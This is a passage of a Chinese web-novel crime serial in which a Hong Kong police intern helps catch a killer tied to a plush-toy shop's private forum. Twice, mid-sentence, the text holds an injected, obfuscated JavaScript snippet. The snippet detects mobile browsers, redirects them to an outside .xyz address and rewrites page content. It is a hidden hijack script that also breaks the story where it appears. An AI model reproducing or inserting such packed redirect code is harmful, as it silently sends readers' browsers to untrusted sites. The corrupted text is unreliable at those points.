林知夏点头:“所以这墙上的泥,分明就是后来糊上的,颜色完全一致。而且这凹陷本身就很小,就算发现了,也很难想象这样就能爬上去。这地方刚好又在盲区里。我们昨天守在这儿的位置,是在大门。” “不对。”闫子豪提及,“小夏,咱们冲进院子的时候,你有没有听到扑通一声?” 林知夏想起来:“那时候大家都着急忙慌地往院子里冲,各种声音嘈杂,还有秘书小童的尖叫声、物业人员的惊慌声,确实有轻微的落地声响。这个人如果反侦察意识很强的话,也可能猜到警方会盯到被害者,知道我们的动向,所以他早早进入之后并不着急离开,声东击西。等出了事,我们从大门进入的时候,凶手才从后面这墙面翻出来,给我们打了个时间差。” 冯智临点头:“可以调监控了。刚才离开这个小区所有人,包括什么维修工人在内,都要细细查一遍。” 阿杰忙去调监控,其余警员留在住宅内做证据固定。房屋被拉了警戒线,禁止外人靠近。 “我总觉得凶手是在找什么东西,而并非人……” 刚刚冯智临恰好也思索到这,听到林知夏的话,不由表示赞同:“很好,沿着这条思路继续往下推,看看能查到什么。” 几个人散开在房间内查找,林知夏进了被害者宋志鸣的卧房。 他卧房内一间带锁的抽屉,居然存放着他和不同女性恋爱时期的照片。 一名警员在林知夏身后看到了这一幕,不由感叹:“这玩的真是花啊,所有女朋友照片都还留着呢!不扔还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280239|182522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要锁起来,趁着没人的时候,怎么还要回忆一番?” 林知夏也表示不能理解。 不过她在另一边抽屉里发现了一枚大钻戒,雕刻的形状很漂亮,倒是女生会格外喜欢的星云款式。 看着钻的重量是不小,林知夏好奇,恰好秘书小童经过,询问她:“宋志鸣是要向女朋友求婚的吗?” 秘书小童摇摇头:“这个我可不知道,董事长不怎么提及。不过从我角度看,他对女朋友秦若梅应该是真心的,谈的时间最长,谈恋爱期间也不跟别的女的牵扯,应该是真心爱她吧?要求婚的话,我觉得也说得通。” “不对哦,你说这个女生名字叫秦若梅,可是这求婚钻戒里头刻的小字,为什么是一个欢字?” “什么?” 秘书小童也震惊了一瞬,“那好像是她初恋傅欢儿的名字诶,他们难不成联系上了?” 关系真够乱的,倒是符合一般人对富人的想象,不过跟这个案子有没有关系,林知夏就不知道了,只是将这些线索都收集好放进证物袋。 对了,毛绒玩具,凶手是冲着毛绒玩具来的,那么,被害者宋志鸣将毛绒玩具放在哪了呢? 她找了一通,终于在一间储藏室发现了被堆成小山的毛绒玩具。 不过,和前两名被害者相比,被害者这种对待方式看上去非常随意,丝毫没有对这些毛绒玩具的喜爱之意。他买这些玩具,难道是另有用途? 林知夏下楼要去查看女尸,果然在女尸的钥匙扣上发现了一枚美乐毛绒玩具店的钥匙挂扣。 挂扣很小,只有半个手掌那么大,是一只小喜鹊形象,做得相当灵动,是挺好看的。 她顿时明白了,这些毛绒玩具不是被害者宋志鸣自己喜欢,而是他要送人,用这些限量款昂贵的毛绒玩具来收拢女人的心。 秦若梅她家应该也有一些毛绒玩具,除此之外,其他的女人,比如说被害者的初恋傅欢儿,手里或许也有。 等警员们都搜集完了证据,林知夏站起身,“咕噜咕噜”肚子响了好几声,压都压不住,恰好被冯智临听在耳朵里。 冯智临笑了一下:“你还挺容易饿。走吧,这都已经下午了,大家这会都没吃饭,再这么饿下去,要得胃病了。” 阿杰调完监控,先回重案组给技术人员查看。其余警员在海蓝之岸高档小区外找了个饭馆坐下来。 冯智临说,“我请客,大家想吃什么就点什么吧!” 林知夏不由感到好奇,低声问柳阿萝:“这酒楼的饭好像很贵的样子,冯沙展经常这样请你们吃饭吗?” 柳阿萝笑道:“这个你不用担心啦,咱们沙展可是香江首富的弟弟,他们家世代经商,在香江各个产业遍布,他是纯纯因为热爱来的重案组。一开始同行都觉得他是玩票呢,结果破获不少大案,这才成了重案组组长。所以啊,平时能宰他的地方就尽量宰,人家不在乎的,他财大气粗呢,一个小指头肚都比我腰还粗!” 8. 丰塘糖水铺。 原来如此,那林知夏可就不客气了。以她现在实习期警员工资,虽说房租压到了最低,但平时要想吃一顿这样像样的酒楼大餐,那也是极难的,得攒来攒去,至少一个月才能搓一顿。 而且,这高档住宅旁边的酒楼肯定不一般。 大家各点了一些金钱肚、炒蟹什么的,龙虾海参只是嘴上说说,实则也没点,不过冯智临还是主动点了几道昂贵的硬菜。 对冯智临而言,这就是简单不过的一顿饭菜,所以他吃起来就像家常便饭。 而林知夏就不同了,每一道菜都值得细细品味,尤其是金钱肚,肉质如此肥美鲜嫩,包裹的酱汁鲜香滑润,一口入嗓,美味至极,她一连吃了好几块,才觉得过瘾。 吃完了饭,林知夏打了个饱嗝,跟着冯智临一起回到重案组。 监控情况出来了,阿杰叫冯智临过去,指向技术人员调出来的监控录像说道:“嫌疑人进入的时候没有拍到,也许对方像咱们一样钻入某辆车子,车子是获得许可正常进的,所以没看到他的身影。但出来的时候,沙展你看,这一抹黑色的身影,黑衣黑裤戴一顶鸭舌帽,对小区内门口摄像头的位置非常清楚,所以到了位置就压低帽檐,根本看不清脸,只能看到背影。的确是一名男性,身材大约1米85左右,健壮有力,结合会攀援墙壁这一条,大概有运动员或当兵等的经历。” “小区内会不会有目击证人看到嫌疑人的脸?”冯智临问。 闫子豪气喘吁吁走进来,说道:“我刚才留在小区,又问了一圈,的确有人看到头戴鸭舌帽的男人往外走的样子,目击者说如果下次见到或许能认出他来。” “目击者看清了对方的脸?” “五官没看清,但轮廓他还记得,只是一定要快,要是过个一夜,他的印象可能就减弱了,他说自己忘事特别快。” 冯智临说:“找目击者来吧,上次取证,美乐毛绒玩具店一个老板和三名店员的照片都在,让他指认一下,凶手会不会就在其中?” 很快,目击者李渊莱进了重案组,办公室桌面上摆放着四张照片。 “你仔细认认,有没有你今天看到那个脸型轮廓的男人?身高呢,都标注在旁边了,你看看有没有一致的?” 目击者李渊莱刚一瞧这四张照片,不假思索,就直接摇头了:“不是,哪个都不是。因为我刚见过,印象还比较深刻,身高也不符合,这几个人你看这照片也没有肌肉啊,我见到的男人手臂肌肉线条都能看得见。” “你能凭借印象画出凶手的长相吗?” “警官,五官我是真没看清,侧写的话,我不知道从何说起,脸是模糊的,就是那脸型形状我记得,脸比较宽,下巴偏短。” 刘美飒在旁边摇头:“完全记不清五官的话,确实侧写也够呛。” 冯智临思索片刻:“好,如果你再想起什么来,或者见到类似的人,就联系我们。” 目击者李渊莱点点头,离开了重案组。 “接下去,该轮到这账本上第四名盖图章的顾客了,加强部署吧,这次不能再在我们的眼皮底下出岔子。”冯智临说。 “是。”接到任务的几名警员连忙去布置。 案子发生的速度越来越快,警察总是被牵着走,只怕还没来得及行动,对方可能就已经实施完毕,这样下去可不行。 凶手作案已然有了发狂的趋势,不惜改变作案方式,露出自己形貌的破绽也要行凶。 究竟是什么让他如此执着? 不过冯智临总有种隐隐的直觉,快了,他已经隐隐地嗅到了关于凶手的某种特征,但是其中环节还是缺失的状态。 林知夏此刻翻找着论坛信息,总觉得所有的事情都跟这个论坛有关系,但究竟该找什么样的抓手呢? 她看着论坛内发布的每一条消息,很快,她的视线被其中几条链接吸引,因为那些乱七八糟的链接点击跳转之后,其中有几条到了另外一家毛绒玩具所做的网络介绍页面。 另外一家名叫“赤紫青蓝”的毛绒玩具店? 这不光引起了林知夏的好奇,刘美飒也惊讶道:“在这一家论坛里面发另一家竞品的信息,这合适吗?” “你看这还有一句话,‘没有人觉得美乐毛绒玩具店的东西越来越贵了吗?’底下没有人回复,显然能进这个论坛的人不少人都觉得负担得起,或者以他们的喜爱程度,完全接受毛绒玩具卖到这样昂贵的价格,哪怕省吃俭用,也要把这玩具买下。可只有用户‘刺青美人’在其中发了这样的话,底下无人应和,而她却坚持不懈地每隔几天就发一条其她美乐毛绒玩具店的链接出来。这是公然拉客吗?还是拉的这家店最有价值的、购买回头率极高的顾客。” “这动机不就来了,要让美乐毛绒玩具店因为杀人事件身败名裂,所以套上的都是这家美乐毛绒玩具店玩偶的外皮啊!” 林知夏虽然对那些外传链接有所怀疑,但总觉得竞争对手之间做得这么绝,倒是不至于,而且这行凶的速度越来越快,没必要这样急迫啊! 如果要让美乐毛绒玩具店倒闭的话,两起凶杀案还不够吗? 总觉得这里头还有更深的事,不过现在没有别的线索,摸一摸其他的路,也许能收获什么意外。 尤其另外几个警员对这条线也比较感兴趣,不如就跟着一块去探探。 于是林知夏和刘美飒直接找到了那家名为“赤紫青蓝”的毛绒玩具店。 这毛绒玩具店开在一个相当不起眼的位置,在一个小巷子里,左拐再右拐才能找得到,似乎是家开业不久的店面,如果不用论坛发帖的方式拉客的话,还真很少有人能找到这家店,并进入购买。 林知夏、刘美飒扮成顾客前往,看着橱窗里满当当的毛绒玩具,看了眼标签上的价格。 果然,这家“赤紫青蓝”的毛绒玩具店也有价格高昂的玩具,只是相比之前那家美乐毛绒玩具店,大约便宜个20%左右,应该是以低于同行的价格来吸引用户。 店内的服务人员倒是很热情:“靓女,要进店买些什么?看看哇,这里是我们新上市的公仔,呐,这是‘绿野仙踪稻草人’系列,最近是热卖款,在别的地方都很少有稻草人这种毛绒玩具形态,所以来我们这购买的人特别多,当成礼物送朋友啊,送小孩子都合适的!” 林知夏点点头,没太接她的话,只是继续搜寻店里自己需要的线索。 不一会儿,她看到远处一名店员站在那儿,手臂上纹有一枚细细的刺青。 那刺青图案有些模糊,应该是纹身纹得很早,年久所致。 林知夏想到,论坛里那个发链接用户的昵称就和纹身有关,有这么巧合的事儿吗?刚好这里的店员手臂也有纹身。 于是她连忙上前,这次没再迂回,直接掏出警官证把她带到里面仓库问话。 林知夏、刘美飒看着这家玩具店的仓库,摆放倒是很整齐,不过一看就是客人不多,因为仓库补货的量也很少,很多货架都是空置的。 那刺青的女店员一听是西九龙重案组的,立刻变得紧张起来,进了仓库,眼睛都不敢抬。 “你知道我们来问是论坛的事。” “警官,媒体报道的消息虽然不多,可我关注玩具行业,我知道,因为毛绒玩偶的事,死了好几个人,而且我还听说四个都是美乐毛绒玩具店论坛里的人,真是吓坏我了,我也在论坛里啊!会不会下一个就轮到我了?警官,求你们救救我!” 林知夏说:“警方精力有限,不可能顾及到论坛所有用户,我们只能暂时去保护最有可能被凶手盯上的人。不过被害人多半都是在人少落单的时候被杀,你最好和你家人朋友们住在一起,人越多越好,这样可以暂时避开危险。” 陆静蜜一听连连点头:“多谢警官,我今天就搬去我父母大宅子里,院子里好多我的亲戚在,我哥还是武术教练呢!” “那就再好不过了。现在你能告诉我吗,为什么你要潜伏在美乐毛绒玩具店论坛里?” 陆静蜜低下了头:“我潜入的不光是这家玩具店,好几家都在呢,店长布置给我的任务,我不能不去完成啊。” “混进美乐毛绒玩具店论坛可不容易,似乎消费要满多少钱,购买频次也得达标,才会被拉入群。你这岂不是花费的成本太高了?” “是啊,别的店都没有美乐这么高的门槛,所以那些店我轻而易举的就加了群,大家都在群里交流,唯独这家店特殊,有私密论坛。不过我做这行的肯定也是喜欢玩偶嘛,美乐店的确有我们店没有的限量版,所以我经常买一些,满足我自己的喜好,刚好也算是在执行店长的任务,这两者似乎也不怎么冲突,我买够3万港币之后,就拉我进去了。我从里面倒是带了美乐的两个顾客过来,创造的收益确实也不低,奖金也已经覆盖了我当时的投入,因为大家都很死忠嘛,只要有喜欢的玩具,肯定都会买!” “你店老板是什么人?看来他也清楚论坛的事。” “她知道的,是从我口中获取的关于美乐毛绒玩具店的全部信息。” 林知夏有种隐约的感觉,论坛内就有凶手本人存在。 因为只有论坛这个地方,能看到一些需要上门送货所需的顾客地址,这也符合凶手为什么能够找到毛绒玩具顾客家里这一条,应该是与顾客有些相熟。 只是,排除了店长和三名店员,剩下的,难道是顾客所为? 林知夏正要问及“赤紫青蓝”玩具店老板,却听陆静蜜说了句:“那么论坛里知道信息的就不只是66个人了,而是包括你老板在内。你老板在哪里?今天能不能来店里一趟?” 听到这儿,陆静蜜突然愣了一下:“论坛是66个人吗?我前几天看还是67个哎!” “有人退出了?”林知夏惊了一瞬,“你知道谁退出了吗?” “不清楚诶,但一般人花钱好不容易进了论坛,买够这么多东西,不会有人退的。” “你这里有电脑吗?”刘美飒问。 陆静蜜点点头:“隔壁有间网吧,我带你们去。” 林知夏、刘美飒和陆静蜜共同去往那间网吧。很快,凭借陆静蜜的ID登上了论坛,果不其然,现在在看的确是66名用户。 “你能找到缺失的那个顾客是谁吗?” 陆静蜜浏览着用户的加入页面:“那个人的身份信息一旦退出,已经被抹去。” 她仔细思索着,“人好多,我一时记不住,但我有印象的几个用户都还在。” “你再仔细想想。” 突然间,林知夏灵光一闪,之前她怀疑的某些信息和如今的情况对应上了。她提醒了句:“不要从顾客里找。” 刘美飒纳闷:“员工不就是三个吗?我都看到了,他们头像都在。” 林知夏摇头问陆静蜜:“有没有前员工?” 陆静蜜恍然大悟,想到了:“美乐玩具店的确招过新人,也走了一个,不过大约一年前就走了。” “他最近才退群吗?看一下他的身份信息还在不在?” 果然,翻看了一会儿,陆静蜜确认道:“没错,就是那名前员工退了论坛。怎么,警官,你是怀疑他?” 林知夏点头:“我只是问问,还没有证据。多谢你提供的信息。” 林知夏和刘美飒离开了玩具店,联系上之前美乐毛绒玩具店的店长和三名店员,分别到他们家中询问情况。 果不其然,有一名前员工王相姚当初也被拉到这群里,只是前几天退的群。但走访到的同事信息,王相姚为人良善,不可能做出这种事。 “他人很好啊,而且都走了一年了,怎么可能会是他干的?” “退群也很正常啊,警官,他已经不是美乐毛绒玩具店的人了,而且最关键的是最近还发生这么多起案子,还待在这个群里,没有意义,肯定要退的!” 林知夏却在那名美乐毛绒玩具店女员工小米脸上看到了一些异样:“王相姚和杀人案没有关系,我想你们肯定搞错了。” “你为什么这么笃定?”林知夏问。 “我……”女员工犹豫了很久才说,“我和他是男女朋友,不过店里的人都不知道。” “王相姚还在店里工作的时候,你们就谈起恋爱?” 女员工小米点点头:“是啊,谈了好久了,我们本来就打算今年结婚的。” “结婚的事筹备怎么样啊?”刘美飒问。 “他工作比较 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林知夏和刘美飒带来的消息,补了他缺失的一环。 “很好,这个消失的论坛成员王相姚,如果不是有顾客提起,我们的确难以得到这个信息。前员工的确有作案嫌疑,虽然我们不知道他作案动机是什么,但是要先找到他。” 冯智临立刻调出一部分警力,在寻找王相姚身上下功夫。 “他女朋友也已经一周没见到他了,老板处也辞了职,看起来行踪不定,如今,要么是畏罪潜逃,要么在筹划下一起案子。” 林知夏点点头,自告奋勇:“我来查王相姚周边的关系,我总觉得他的生活原本按部就班,要结婚,工作也稳定,突然间不告而别,应当是出了什么变故,或许和他的家人有关。另外,他寻找的东西……” 林知夏提及她一直以来思索的内容,“沙展,我想,王相姚要找的不是人,而是毛绒玩具,也就是说,就像第一名被害人在毛绒玩具里放情书的样子一样,毛绒玩具拉链当中就放有凶手非常在意的东西,也许是不小心被论坛里的某个人拿走了,他不清楚究竟自己要的那只毛绒玩具落到了谁手里,所以要挨个寻找。” 冯智临挑高一边眉毛,很是惊讶,这条推论是他刚刚跟组员们分析时提到的,没想到林知夏她们也这么快想到。 这哪里是个实习警员的水平,在刑侦方面的确有些天分。 冯智临不由赞道:“我想也是的,所以已经命人前往60多个论坛用户当中去查找他们最近购买的毛绒玩具里有没有塞什么东西,是原本不属于他们,而是属于凶手的。” 锁定目标之后,林知夏就更有干劲了。 这几天,吃晚饭都相当潦草,几片面包,一瓶果酱就打发了,边吃边给王相姚身边人打电话询问完整的关系网络,还专门跑到王相姚家询问他们的邻居。 然而,王相姚这段时间也没在家住。 如今,一切的线索都隐隐地指向了王相姚。 晚上林知夏回到重案组加班,忙活了好久,画了好多关系线条,大大地伸了个懒腰。 刘美飒在楼下,给她买了杯咖啡,放在她桌上:“要是太累了,你就先回去,明早还能继续。” 林知夏却有些担心,当初她怀疑到员工中的某一人,恰恰漏掉了以前的员工。 凶手在群里不光是可以得知各个顾客的信息,与他们有过来往接触,甚至凶手很有可能为那些留下家庭住址的顾客送过毛绒玩具,大概率去过不止一次,所以对被害者的家庭情况非常了解。 如此一来,被害者为他开门也显得理所当然。 那么,第二名被害者任媛桃门没有撬开的痕迹,就有了原因。而宋志鸣死亡的时候,被凶手知晓电网并没有电,也许是一开始送货那几次,凶手就已经察觉到。 面对这么一个对情况了如指掌的嫌疑人,如果不能加快点速度,有可能下一个顾客就要遭殃。 林知夏喝下热咖啡提神,说道:“美飒,你帮我一起看看,这些家庭关系当中,是不是有什么信息被我漏掉了?” 刘美飒凑过去看着白板上的文字,以及几片纸上画着满满当当的人物关系,也不由有些震惊:“哇,你一个下午的时间问出了这么多人!” “是啊,和父母、同事、同学、之前交往过的对象,我都问到了,似乎并没有什么异样。王相姚的爷爷前段时间也回了乡下。” 林知夏说着,突然愣住,“等等,爷爷回去,那他奶奶呢?” 刘美飒问:“王相姚爷爷单独来探望他?” 林知夏摇头:“我听邻居说他是来城里办事的,看起来行色匆忙很焦急的样子,能办什么事,这么慌张?” 刘美飒说:“那从王相姚父母嘴里撬。” 林知夏想了想,说:“今天问的话,是不是有些晚了?” 刘美飒说:“不晚,我带一名警员去找他父母,你们今天是电话联系,初步筛选关系,很多话还没有聊那么深,他们可能没来得及提到,我去,你就留在这。” 林知夏站起身:“不,我去另一个地方。” “哪里?” “香江人民医院,查找王相姚奶奶的下落。” 刘美飒立刻明白过来:“你是怀疑他奶奶生病了?” “对,我得去医院查一查。” 林知夏一个人出发,走到楼下,恰好遇上折返回来的冯智临。 看到林知夏要出去,冯智临问:“是不是要去医院?” 林知夏微微讶异:“沙展,你是不是也觉得嫌疑人有家里人可能……” “我们去看看吧,或许能找到一些有价值的线索。另外,我刚刚查到,王相姚最近并没有大额进出账目的记录,这一件连环案,可能还捆绑着其他组所侦办的盗窃类案件,我已经派人去查了,也许很快能有消息。” 林知夏点点头,上了冯智临的车,车辆往香江市人民医院方向驶去。 两人一路无话,但内心又有些紧张,能不能成,就看今天的调查结果了。 9. 产生了幻觉。 香江市人民医院并没有王相姚奶奶的就诊记录。 林知夏和冯智临又去了别处。一连跑到第三家医院,终于在善水路人民医院查到了冯智临奶奶的姓名。 住院部前台的护士小姐提到王簌梅,都有些遗憾。 “王簌梅比较可惜,她是恶性血管瘤,其实位置比较良好和局限,我们这儿有位美国进修来的专家,擅长这方面的手术,做完手术好好养护,应该能安然度过几年。而且恰好她的年龄还卡在手术允许范围内,不至于像有些老人年岁过大,只能建议保守治疗。但他们家迟迟拿不出钱来,手术就耽搁了,王簌梅病情突然加重,在五天前去世。” 果然如此,林知夏、冯智临对视一眼,心中已明了大半。 “那么这个王相姚你有印象吗?” “哦,王相姚是她孙子,对王簌梅很好,病床前跑来跑去地照顾,经常一晚上一晚上不睡觉。我们有些值夜班的同事都说,这年轻人还真挺孝顺!” “你有没有听到他说能凑到钱之类?” “这个我就不知道了。” 旁边一名小护士听到警方问话,凑过来说:“王相姚说他很快就有钱了,一直在王簌梅的病床前这样说,但我不知道是宽慰还是真的,毕竟他一直没交上这笔钱。而且,我觉得他应该也很难借到钱,家境比较贫穷,一直也就是打零工,听说他以前在糖水铺干过一阵,哪里能凑到这么多钱哟?” 怪不得冯智临才说要查盗窃案。 林知夏心道,不愧是香江重案组的组长,确实有两把刷子。 已经过了凌晨12点,冯智临远远看了一眼医院走廊里的表,说:“我送你回去吧,今晚更多的也查不出什么了,你回去好好补个觉,明天一早不用着急来上班,剩下的事交给我们。” “没事,这还没多晚。” 冯智临说:“养精蓄锐也是很重要的,抓捕犯人的时候,也许还需要你。” “真的吗?我可以参与抓捕?”林知夏眼前一亮。 冯智临勾起唇角:“当然。你上次翻越宋志鸣家那堵墙的时候我就知道,你的体能比我想象要好很多。在警校大约是天赋极高,却不努力类型的吧?” 林知夏有些尴尬地挠了挠鼻尖,只能用这种方式来解释了。 回到九号花园,今天终于安静了许多。 回到房间内,她洗了把脸,躺在床上很快就睡了过去。 第二天一早,自然不能听冯智临的话睡到自然醒,因为她心里惦记着事,想着案情的进度,当然也睡不了太久。 尤其是,她还只是一名实习警员啊!表现得稍微好一点,但也不能放松。 于是从床上起来以后,拉开窗帘,大大地伸了个懒腰,随后下楼骑着脚踏车,继续赶往西九龙区重案组。 重案组一大早上就开始忙碌了起来,重点在于追踪王相姚所在位置。 冯智临见林知夏来了,连忙招手叫她过来,他要给警员们开早会。 林知夏抓着笔记本和笔,坐在大办公桌前,听着冯智临和警员们同步最新的消息。 “我从盗窃组汇总了一些没有抓到嫌疑人的盗窃案过来,筛出了三起有可能的案件。大部分犯案中数目比较小,只有三起案件犯案数目重大,超过了王簌梅做手术需要的30万港币。第一个案子窃贼破窗而入,翻走了家中财产,被盗财物69万,另两起案子是敲破了车窗户,拿走车里的包,加起来案发数目在45万港币。你们去查一查,王相姚有没有可能是其中某个案件的嫌疑人。” 交代了案件基本信息之后,抽调出一部分警员去查盗窃案和王相姚的关联,其中有一些线索还需要负责盗窃案件的刑侦小组提供。 林知夏这会儿就在托着腮帮子思考,王相姚究竟有可能会藏到哪里去。 这就要想到,那些毛绒玩具皮套着受害者是有怎么样的仪式感? 凶手并不愿意隐藏杀人的事实,而将人套入玩偶皮的行径,意味着他对于有人拿走了他藏在玩偶里救命钱的憎恶。 他如此疯狂地犯案,完全是一副摆烂的状态,就是要找到拿走玩偶中钱的那个人。 王相姚将奶奶王簌梅的死亡和被害者以这种方式联系起来,所以,面对警方,他应当是完全不惧怕的,反而会加速目标的实施。 昨天到现在,王相姚被全城追捕,却仍然没有发现踪迹。 他会一直踩点试图进行下一场犯罪,不可能坐在家里坐以待毙,毕竟自己还没有找到玩偶中藏着那笔钱的人,没有达成目的。 警方在之前三名被害者的家中并没有找到那样的一笔钱,而且盗窃事件距离现在很近,几十万港币不可能那么快就花光,最有可能是被藏入玩偶中的钱未被发现。这是不慎拿走装钱玩偶的情况。 如果是有人主动拿走玩偶,那其中的钱会怎么处理? 这只能对谁拿走了这笔钱有一定判断价值,可从凶手的角度看,他并不知道谁拿的,所以有可能警方紧盯的几名可能的被害人附近反而没有他的身影。 第三起案件之后,警方一定会加强自己的布控,那么凶手再想出手就很困难。 他会不会不再按照顺序杀人,只要能多找到一名论坛中的人,去他家中搜寻毛绒玩具,就多一分找到那笔钱的可能性? 而找到那笔钱,王相姚不是为了要拿回,只是为了泄愤。 或许被找到的那个人会被虐杀,得到更残忍的对待。 林知夏拿出冯智临的布防图,从凶手角度思索破绽,冯智临远远抱臂看着,问:“发现什么异常了吗?” 林知夏指着其中两三处香江最乱的地方:“这些区域本就是城中村,鱼龙混杂,想要找人不容易,他极有可能藏匿在其中,并且伺机杀害离这儿最近的论坛成员。沙展你看,离这处美西街最近的两条街,就是论坛账本里面第16、17、50名成员的地点,密度比较大,可以一次性解决好几个。” “你是说,凶手不再按顺序杀人?” “有这个可能,毕竟要想实现他的目标,以前可以按顺序去找,但警方介入之后,这么做才是效率最高的方式。” 冯智临点头:“好,就在你圈的这几个地点,我去带人搜捕。” 搜捕过程一直在持续,但也没有消息。 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280241|182522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知夏只能继续整理手头的资料,上一起案子收尾的文件还需要她继续。 临近交上的时间也很快了,一直在忙毛绒玩具案,始终没时间处理。 她于是在计算机上敲打那些文件内容,将它录入。 柳阿萝从外面盯梢回来,刚好轮到换班回到重案组,沿途经过一处糖水铺,买了几杯柠檬冰乐,递给林知夏一杯:“尝尝吧,这家糖水铺味道很不错呢!” 柳阿萝坐下来,听林知夏讲了一会最新的进展,心头有些疑惑:“我倒是可以理解,把偷盗来的钱藏进毛绒玩具的心理。” 她从自己办公桌抽屉里拿出一只毛茸茸的粉色小猫钱包,“呐,你看我这钱包做的就像毛绒玩具一般,多可爱呀。而且不光可爱,还能隐藏钱包的痕迹,挂在裤腰上嘛,只会以为别了个钥匙扣,就没有人想偷里面的钱了。王相姚如果真的实施了偷窃行为,那么他把偷窃到的钱放入毛绒玩具本身,就是隐藏钱财的一种表现,可是为什么又有人能拿走他的毛绒玩具呢?还在那些论坛成员当中,这里头又发生了什么?” 林知夏摇头:“只有抓到嫌疑人之后,让他自己来说了。” 林知夏喝下两口柠檬冰乐,顿时神清气爽,里面放了一些晶莹的碎冰,整个人都变得清凉起来。 “真的好喝,是哪家呀?改天我路过的时候也要再买了喝。” “是一家叫做陆拾糖水铺的饮品店,西九龙区上有好几家,不过只有这家1号店做的才是最好喝的,你可千万别认错了。” 林知夏点点头。 这天大家都在耐心等待着,终于到了下午,盗窃组那边有了新的进展。 阿杰带着小分队回来,向冯智临汇报:“之前的盗窃案,目击证人所指认的嫌疑人当中,没有王相姚,所以怎么也找不到偷窃对象。这次我们把王相姚的照片给目击证人看,很快就认出来了。王相姚的确半夜时分在失窃车辆面前经过,而且目光一直忍不住打量,似乎在看车内的东西。目击者走远一些后,听见剧烈的声响,当时附近只有王相姚,是他前往砸车,把车内一只LOPP品牌的包拿走了。” “哦,对了,还有一条很重要,据目击者说,当时这个嫌疑人手里还抱了毛茸茸的东西,有可能正是毛绒玩具。” 柳阿萝听了,不由更纳闷了:“偷窃完了,放在家里毛绒玩具里可以理解,这怎么偷窃过程中还带着毛绒玩具啊?那不更扎眼了?而且还很有标识度。” 林知夏想了想:“只有一种可能可以解释,他是激情犯罪,当时手里没有别的东西,只有这只毛绒玩具,或许这玩具是要送给谁的?” 正说着话,“咚咚!”林知夏突然心脏重重跳了两声,她连忙用手捂住了胸口。 这种感觉不像心悸,她上一世退休之后,的确有过心悸的情况,不过和刚才心脏跳动截然不同。 怎么回事?这是压力大导致的焦虑还是…… 她看向旁边喝着的冰饮,本想喝一口水再缓缓,结果再一口下去,直接把她冷汗给逼了出来。 一种莫名其妙的恐慌感袭上心头,眼前似乎出现了一间冰库的场景,一闪而过。 10. 第一案完+第二案 见林知夏有些不对劲,柳阿萝忙问:“怎么了?” 林知夏摆摆手,摇头咬牙道:“可能是中午在外吃坏了肚子。” 很快,林知夏感觉到眼前的幻影渐渐消失,心脏的不舒服也停止了。 一小时后,冯智临带队风风火火回来。 刘美飒跟随进入,看见林知夏的那个瞬间,不由停下脚步感叹:“小夏,还真是你所指出的那个方位,王相姚就在里面猫着呢,准备实施下一起犯罪的行动,正在翻墙头呢,被沙展一砖头扔过去,一个背摔擒获!” 果然,下一秒,两名警员押着王相姚回来。这王相姚果真身材健硕体格高大,一看手臂肌肉的确是练过的。 林知夏和柳阿萝才松了口气。 原本人手不够,她们也是要出现场的,没想到这么快就抓获了。 只是被推入审讯室,嫌疑人王相姚却绝不承认:“你们有什么证据证明是我所为?我已经离开美乐毛绒玩具店一年多了,也没有任何证据表明我后来再回过那间美乐毛绒玩具店,你们凭什么认为是我干的?” 证据的确还不充足,主要是凶器塑料绳索、MP3线上并没有留下凶手的指纹,应该是他戴了手套抹去了指纹,作案地点也没有监控探头。 除非能找到毛绒玩具里藏匿其中被盗窃的钱,那些钱正是王相姚偷来给她奶奶治病所用的救命钱。 盗窃过程有目击者,盗窃之后钱却放进了论坛成员中的某个毛绒玩具中,这样的话,盗窃案和毛绒玩具杀人案就有了联系,也就有了明确的犯罪动机。 只是,如果那玩具已经被处理,里面的钱财不翼而飞,那么以上一切证据都不确凿,只是怀疑阶段就无法定罪。 林知夏思来想去,决定去找美乐毛绒玩具店女店员笙小米。 接到警官电话,笙小米在家等待。 林知夏和柳阿萝进房间之后,坐在笙小米那张红色的二手沙发上。笙小米垂下头,显得有些紧张。 她今天这身造型不比平日里光鲜,穿的一件衬衫,下摆少系两个扣子都没发现,面容也很憔悴,眼眶红红的,似乎是哭过了。 林知夏和柳阿萝一眼就察觉到,王相姚的事笙小米可能知道一些,不然不会这般魂不守舍。 林知夏直接问:“上周三之后,买过毛绒玩具的人,依照顺序被凶手展开了疯狂报复。我想问问你,上周三,王相姚有没有去美乐毛绒玩具店找过你?” 刘美飒在旁边补充:“现在已经四条人命了,如果不是警方及时抓捕,还会有更多人惨遭杀害!小米,如果你知道情况的话,不要替他包庇!” 笙小米双眸含着泪光,提起这个有些绷不住的委屈。两个人明明走到了现在,马上就要谈婚论嫁了,她也没想到会出这种事。 然而,她只是啜泣并不答话。 林知夏从桌上抽出纸巾递过去,笙小米擦了擦泪水,摇头说:“他、他没找过我,我什么都不知道。” 林知夏敏锐地察觉到:“王相姚是不是威胁你了?可你要知道,他是杀过四个人、穷凶极恶的罪犯,如果你还帮他逃避,被放出来后,下一个有危险的可能是你。你只有帮助警方把他抓捕归案,你才能真正获得安全。” 笙小米仍旧摇头:“警官,我真不知道,而且我也说了,我们很久都没见了。” 林知夏站起身,到房子各处看看。 在里屋桌面上看到两个人的合照,相册是精心挑选的,边缘的花纹暗藏着笙小米和王相姚两个人的首字母,两个人应该曾经感情深挚吧! 